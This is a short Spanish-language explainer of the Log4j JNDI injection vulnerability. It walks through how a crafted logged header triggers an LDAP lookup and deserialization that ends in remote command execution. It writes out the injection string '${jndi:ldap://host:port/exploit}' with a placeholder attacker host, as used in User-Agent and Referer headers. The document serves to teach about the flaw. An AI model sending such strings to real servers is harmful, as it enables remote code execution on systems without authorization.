log4j
Log4j
La vulnerabilidad en Log4j se basa en la forma en que la biblioteca analiza las cadenas de texto,esta se activa cuando la Interfaz de directorio y nombres de Java (JNDI) recibe un mensaje de registro que contiene un formato de comando específico “$ {jndi}”.
Muchas de las aplicaciones web utilizan log4j para registrar las solicitudes enviadas y los campos de cabecera. Los atacantes pueden utilizar aplicaciones web y vulnerabilidades log4j para realizar ataques de inyección JNDI.
El atacante utiliza JNDI LDAP codificado “$ {jndi: ldap: // host: port / exploit}” como parámetros de consulta para engañar a las solicitudes HTTP GET, como campos de encabezado HTTP “user-agent” y “referer”. El servidor web pasa los parámetros y las variables de la cabecera a la aplicación. La aplicación utiliza la llamada log4j info() para registrar, el campo de cabecera User-Agent. Log4j recibe el mensaje y evalúa la expresión JNDI ‘jndi:ldap://host:port/exploit’ dando como resultado una consulta LDAP.
El servidor LDAP, recibirá la solicitud y responderá con la ubicación del objeto que contiene el resultado de la búsqueda. la vulnerabilidad log4j solicita el objeto remoto al servicio web , que responde con una carga útil de objeto Java serializada. El payload aprovecha una vulnerabilidad de deserialización de objetos Java que dará lugar a la ejecución del comando remoto en el contexto de usuario de la aplicación web.